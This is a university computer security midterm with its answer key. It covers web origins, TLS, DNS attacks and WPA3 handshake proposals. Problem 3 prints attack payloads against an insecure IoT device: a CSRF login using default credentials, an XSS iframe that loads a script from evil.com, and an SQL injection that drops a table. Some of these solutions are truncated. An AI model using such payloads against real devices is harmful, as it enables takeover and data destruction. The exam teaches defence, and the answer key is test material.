Weaver Fall 2017 — CS 161 Computer Security — Midterm 2

PRINT your name: _____, _____
(last) (first)

I am aware of the Berkeley Campus Code of Student Conduct and acknowledge that any academic misconduct will be reported to the Center for Student Conduct, and may result in partial or complete loss of credit.

SIGN your name: _____

PRINT your class account login: `cs161-`_____ and SID: _____

Your TA's name: _____

Your section time: _____

Exam # for person sitting to your left: _____

Exam # for person sitting to your right: _____

You may consult one sheet of paper (double-sided) of notes. You may not consult other notes, textbooks, etc. Calculators, computers, and other electronic devices are not permitted.

You have 80 minutes. There are 5 questions, of varying credit (120 points total). The questions are of varying difficulty, so avoid spending too long on any one question. Parts of the exam will be graded automatically by scanning the **bubbles you fill in**, so please do your best to fill them in somewhat completely. Don't worry—if something goes wrong with the scanning, you'll have a chance to correct it during the regrade period.

If you have a question, raise your hand, and when an instructor motions to you, come to them to ask the question.

Do not turn this page until your instructor tells you to do so.

Question:	1	2	3	4	5	Total
Points:	14	54	12	16	24	120
Score:						

Problem 1 ***True/False*** **(14 points)**

(a) (2 points) True/False: The origin policy for cookie access is different from the origin for JavaScript.

● True ○ False

(b) (2 points) True/False: An on-path attacker can disrupt any TCP connection the attacker can see.

● True ○ False

(c) (2 points) True/False: Without additional cryptographic authentication, conventional DNS is vulnerable to an on-path attacker.

● True ○ False

(d) (2 points) True/False: Both ARP and DHCP can be spoofed by an attacker connected to the same WiFi network as the victim.

● True ○ False

(e) (2 points) True/False: Along with randomizing the source port and the identifier field, randomizing the destination port will further increase the entropy in preventing Kaminsky Attacks.

○ True ● False

(f) (2 points) True/False: Replacing a small set of input characters is generally sufficient to prevent CSRF attacks.

○ True ● False

(g) (2 points) True/False: "SYN cookies" can work if the ACK is the first 4 bytes of $SHA256(SIP \| SPORT \| SEQ)$

○ True ● False

Problem 2 ***Keep Your Answers Short and Tweet*** **(54 points)**

In all these questions please keep your answers short. If you can't fit it in roughly a tweet, you are probably writing too much.

(a) (4 points) Consider the following code snippet:

```
stmt = connection.prepareStatement("SELECT * FROM users
  WHERE USERNAME = ? AND ROOM = ?");
stmt.setString(1, username);
stmt.setInt(2, roomNumber);
stmt.executeQuery();
```

What type of attack does this type of coding defend against?

Solution: SQL Injection

(b) (4 points) A CA commonly validates certificates by checking whether the person requesting can add a piece of data onto the domain's web page. Does a CA's DNS server need to resist the Kaminsky attack?

Solution: Yes: Attacker could otherwise create a fake web page to host the check..

(c) (4 points) In the name "`robert'; drop table students --`", what is the purpose of the `'`?

Solution: Terminates the string

(d) (4 points) In the name "`robert'; drop table students --`", what is the purpose of the `--`?

Solution: Makes the rest of the statement a comment

(e) (6 points) A page `foo.berkeley.edu` displays the value of the cookie "NAME" on the page `https://foo.berkeley.edu/xss` without any protection. You control the website `bar.berkeley.edu`. What is the domain, path, and flags you should set so *only* that page receives your value of name?

Solution: Domain: *.berkeley.edu (or berkeley.edu), path: /xss, Flags: Secure (can also add HTTPOnly but not essential)

(f) (4 points) `foo.berkeley.edu` wants to mitigate such cookie-based XSS attacks from other `berkeley.edu` sites. Why can't `foo`, without examining the content of the cookies themselves, distinguish between cookies set by `foo` and malicious cookies set by `bar`?

Solution: Because the presentation of cookies is just NAME/VALUE, domain and path is not presented, even though cookies are stored as name/domain/path.

(g) (4 points) `foo.berkeley.edu` wants to prevent clickjacking, but at the same time wants any other site to be able to embed `foo`. Why can't they prevent clickjacking?

Solution: Can't use Framebusting, which is how you prevent this.

(h) (4 points) Why can't TLS protect against an on-path attacker who only wants to terminate connections?

Solution: Because the lower level TCP can be disrupted with injected RSTs.

(i) (4 points) Why can't TLS protect against a censor who wants to block specific websites?

Solution: Because it tells the site in both the request (TLS Server Name Identification) and certificate.

(j) (4 points) Why can't TLS protect against XSS attacks?

Solution: Because those are site logic vulnerabilities, not affected by communication security

(k) (4 points) What vulnerabilities can occur if a site renders part of the URL into the resulting web page?

Solution: Reflected XSS

(l) (4 points) Why could a user site `user.github.com` steal a visitor's login cookies to `github.com`?

Solution: Because cookies can be read/set by subdomains (weaker origin protection)

(m) (4 points) Why can't a user site `user.github.io` steal a visitor's login cookies to `github.com`?

Solution: Because these are now separate origins/domains.

Problem 3 ***The Internet of Shit*** **(12 points)**

A typical "Internet of Things" device has a webserver which people in the local network can use to manage it, reachable through `http://iosdevice.local/`. Of course this device, like most such devices, is horribly insecure, complete with a default username ("admin") and password ("secret") and has no other defenses against SQL injection, XSS attacks, CSRF attacks, etc. The URL encoding for ' is %27 : is %3A, < is %3C, > is %3F, space is %20 and / is %2F.

Lets consider some different ways of attacking it...

As an attacker, we can get a potential victim to visit our web page.

(a) (4 points) The login page is `http://iosdevice.local/login?user={USER}&password={PASSWORD}`. What "image" can we include on our page to ensure that a user who hasn't changed the password will be logged into the device?

Solution: `<img src="http://iosdevice.local/login?user=admin&password=secret">`

(b) (4 points) The following page `http://iosdevice.local/info?status={QUESTION}` includes the contents of `status` unescaped in the page. What iframe can we include on our page so that the script `http://evil.com/script.js` is run in the context of isodevice?

Solution: `<iframe src="http://iosdevice.local/info?status=http%3A%2F%2Fevil.com%`

(c) (4 points) The following page `http://iosdevice.local/update?status={STRING}` contains an unprotected SQL request. If the attacker deletes the table `security` all security will be lost. What image can we include on our page to delete this table?

Solution: `<img src="http://iosdevice.local/update?status=%27drop%20table%20secur`
`--"`

Problem 4 ***TLS*** **(16 points)**

An attacker is trying to attack the company WoSlime and its users. Assume that users always visit WoSlime's website with an HTTPS connection, using RSA and AES encryption. (You may assume that WoSlime does not use certificate pinning) For each of the following attack scenarios, select all of the options that an attacker could achieve in that attack scenario.

(a) (4 points) If the attacker obtains a copy of WoSlime's private key, the attacker could:

- ● Impersonate the WoSlime web site to a user
- ● Measure the amount of traffic sent & received in a recorded connection between a user and WoSlime's website.
- ● Discover the plaintext of data sent during a recorded connection between a user and WoSlime's website.
- ● Inject content into a newly established connection between the user and Company's website that the attacker can observe as an on-path attacker.
- ○ Inject content into an established connection between the user and Company's website that the attacker can not observe as an on-path attacker.

(b) (4 points) If the attacker obtains a copy of WoSlime's certificate, the attacker could:

- ○ Impersonate the WoSlime web site to a user
- ● Measure the amount of traffic sent & received in a recorded connection between a user and WoSlime's website.
- ○ Discover the plaintext of data sent during a recorded connection between a user and WoSlime's website.
- ○ Inject content into a newly established connection between the user and Company's website that the attacker can observe as an on-path attacker.
- ○ Inject content into an established connection between the user and Company's website that the attacker can not observe as an on-path attacker.

(c) (4 points) If the attacker obtains a copy of a trusted CA's private key, the attacker could:

- [x] Impersonate the WoSlime web site to a user
- [x] Measure the amount of traffic sent & received in a recorded connection between a user and WoSlime's website.
- [ ] Discover the plaintext of data sent during a recorded connection between a user and WoSlime's website.
- [ ] Inject content into a newly established connection between the user and Company's website that the attacker can observe as an on-path attacker.
- [ ] Inject content into an established connection between the user and Company's website that the attacker can not observe as an on-path attacker.

(d) (4 points) If the attacker obtains a copy of a trusted CA's certificate, the attacker could:

- [ ] Impersonate the WoSlime web site to a user
- [x] Measure the amount of traffic sent & received in a recorded connection between a user and WoSlime's website.
- [ ] Discover the plaintext of data sent during a recorded connection between a user and WoSlime's website.
- [ ] Inject content into a newly established connection between the user and Company's website that the attacker can observe as an on-path attacker.
- [ ] Inject content into an established connection between the user and Company's website that the attacker can not observe as an on-path attacker.

Problem 5 ***WPA3-PSK*** **(24 points)**

Outis made a horrible, horrible mistake[1]. In his general helpfulness, he volunteered to assist the IEEE in developing the WPA3-PSK standard. And now he has to evaluate alternative handshake schemes proposed to "securely" generate a key in the presence of rogue clients, rogue access points, and passive eavesdroppers.

As a reminder, a (slightly simplified) WPA2-PSK standard creates a PSK (Pre-Shared Key) as $PBKDF(pw, network - name)$. Then when handshaking the Access point selects a random value $ANonce$, broadcasting it to the client. The client then creates a random $SNonce$, calculates the keys as $H(ANonce||SNonce||PSK)$, and sends back $SNonce$ and $MIC(SNonce)$ (really a MAC but they name it differently). Since the only thing secret is the PSK, someone witnessing this handshake can attempt an off-line brute-force attack to find the password.

The first scheme Outis needs to evaluate, WPA3-DH, modifies this handshake using 3072-bit Diffie/Hellman. The protocol defines a P and g. The AP instead of $ANonce$ selects a random a and sends $g^a mod P$. The client selects a random b and calculates the keys as $H(g^{ab} mod P||PSK)$. The client returns $g^b mod P$ and $MIC(g^b mod P)$.

(a) (4 points) Does WPA3-DH prevent a passive eavesdropper from doing an offline brute force attack on the password? Why or why not? (A tweet-length answer please)

Solution: Yes: The attacker can't check if a guess is correct since they can't know the MIC key because its partially a function of the DHE.

(b) (4 points) Does WPA3-DH prevent a passive eavesdropper who knows the password from decrypting connections? Why or why not? (A tweet-length answer please)

Solution: Yes: The DHE prevents this as well

(c) (4 points) Does WPA3-DH prevent a fake access point from gathering enough information to attempt an offline brute force attack? Why or why not? (A tweet-length answer please)

Solution: No: The attacker still gets enough info to try an offline brute-force attack.

[1] Having worked with standards committees himself, Nick could have warned Outis that this is thankless tasks that will make your eyes bleed and end in frustration as the "standard" becomes the worst combination of all proposals

The second scheme Outis needs to evaluate, WPA3-RSA, uses the PSK (a seemingly random value) to seed a pseudo random number generator to create a 3072b RSA private key K and a corresponding public key that is still kept secret. The AP sends $E_k(ANonce)$ (using RSA-OAEP) instead of ANonce, which the client can decrypt because it knows the PSK. The client sends back $SNonce$ and $MIC(Snonce)$ in the same way as the previous WPA2-PSK protocol.

(a) (4 points) Does WPA3-RSA prevent a passive eavesdropper from doing an offline brute force attack on the password? Why or why not? (A tweet-length answer please)

Solution: No: The attacker can use guesses of the PSK to find the RSA key

(b) (4 points) Does WPA3-RSA prevent a passive eavesdropper who knows the password from decrypting connections? Why or why not? (A tweet-length answer please)

Solution: No: The attacker knows the RSA key and can decrypt everything.

(c) (4 points) Does WPA3-RSA prevent a fake access point from gathering enough information to attempt an offline brute force attack? Why or why not? (A tweet-length answer please)

Solution: Yes: The attacker doesn't know the RSA key, and if you send "random" data, the OAEP will not be right on decryption (it pads things out with 0).

HOWEVER, because that wasn't clearly articulated that the client should actually check the OAEP padding bits as well, and it may not, you could just brute force assuming the client accepts things, so everyone gets full credit on this.